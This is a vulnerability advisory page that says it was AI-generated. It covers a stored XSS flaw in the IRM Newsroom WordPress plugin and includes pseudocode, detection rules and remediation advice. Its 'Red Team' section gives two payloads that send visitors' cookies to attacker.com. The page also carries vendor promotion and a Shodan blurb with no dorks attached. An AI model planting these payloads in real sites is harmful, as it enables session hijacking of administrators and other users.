CVE-2025-4586
Executive Summary
CVE-2025-4586 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the IRM Newsroom plugin for WordPress, up to and including version 1.2.19. The flaw resides in the irmcalendarview shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level privileges can inject arbitrary web scripts into pages. When other users (including administrators) access the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is part of the WordPress ecosystem and does not affect the underlying Apache or Nginx server software. The plugin is developed by Irm and is used to display calendar views within WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The medium severity reflects the need for authenticated access but the potential for widespread impact due to the stored nature of the XSS and the lack of user interaction required for execution.
Deep Dive & Mechanics
The vulnerability is triggered through the irmcalendarview shortcode. WordPress shortcodes allow users to embed dynamic content via attributes. In this plugin, the shortcode processes user-supplied attributes without adequate input sanitization or output escaping. An attacker can craft a shortcode like:
[irmcalendarview some_attr="<script>alert('XSS')</script>"]
When the page is rendered, the malicious script is stored in the WordPress database and executed in the browser of any visitor viewing the page. The lack of proper escaping means that HTML and JavaScript are interpreted as code rather than plain text.
The attack flow:
- Attacker logs in with contributor-level or higher privileges.
- Attacker creates or edits a post/page and inserts the malicious shortcode.
- The shortcode is stored and rendered without sanitization.
- Any user (including admins) viewing the page triggers the XSS payload.
Vulnerable vs. Patched Code
Vulnerable Code (<=1.2.19): The shortcode handler likely directly outputs attribute values without escaping. Example (pseudocode):
function irm_calendar_shortcode($atts) {
$attr = $atts['some_attr'];
return "<div class='irm-calendar' data-attr='$attr'>...</div>";
}
Patched Code (hypothetical): The fix would involve using WordPress's built-in escaping functions:
function irm_calendar_shortcode($atts) {
$attr = esc_attr($atts['some_attr']);
return "<div class='irm-calendar' data-attr='$attr'>...</div>";
}
Additionally, output should be escaped with esc_html() or wp_kses() depending on context.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with IRM Newsroom plugin <=1.2.19
- Contributor-level account credentials
Exploitation Steps:
- Log in as a contributor.
- Create a new post or edit an existing one.
- Insert the following shortcode into the post content:
[irmcalendarview test="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish or save the post.
- When an administrator or other user views the post, the script executes, sending cookies to the attacker's server.
Alternative Payload (Session Hijacking):
[irmcalendarview test="<img src=x onerror='new Image().src=\"https://attacker.com/steal?cookie=\"+document.cookie'>"]
Blue Team
Detection:
- Monitor for posts containing the
irmcalendarviewshortcode with suspicious attributes (e.g.,<script>,onerror,onload). - Review WordPress logs for unusual shortcode usage by contributor-level users.
- Use WAF rules to block common XSS patterns in shortcode attributes.
Prevention:
- Update the plugin to a patched version (if available).
- Restrict contributor-level users from using shortcodes that allow raw HTML.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/irm-newsroom/(presence of vulnerable plugin) - Database: Posts/pages containing
[irmcalendarviewwith suspicious attributes - Network: Outbound connections to attacker-controlled domains from WordPress admin pages
- Logs: WordPress debug.log entries showing shortcode parsing errors or unexpected HTML
Detection Engineering
YARA Rule
rule CVE_2025_4586_IRM_Newsroom_XSS {
meta:
description = "Detects stored XSS payloads in IRM Newsroom shortcode"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4586"
strings:
$shortcode = /\[irmcalendarview\s+[^\]]*?(<script|<img\s+onerror|<svg\s+onload)/i
condition:
$shortcode
}
Sigma Rule
title: CVE-2025-4586 IRM Newsroom Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via IRM Newsroom shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'irmcalendarview'
http.url|re: '(<script|<img\s+onerror|<svg\s+onload)'
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-4586 IRM Newsroom Stored XSS Attempt"; flow:to_server; content:"irmcalendarview"; http_uri; pcre:"/(<script|<img\s+onerror|<svg\s+onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available.
- Restrict contributor-level users from using shortcodes via user role editor plugins.
- Implement a Web Application Firewall (WAF) rule to block XSS patterns in shortcode attributes.
Long-term Fix:
- Apply the vendor's patch when released.
- If no patch is forthcoming, consider replacing the plugin with an alternative.
- Conduct a security audit of all WordPress plugins for similar vulnerabilities.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.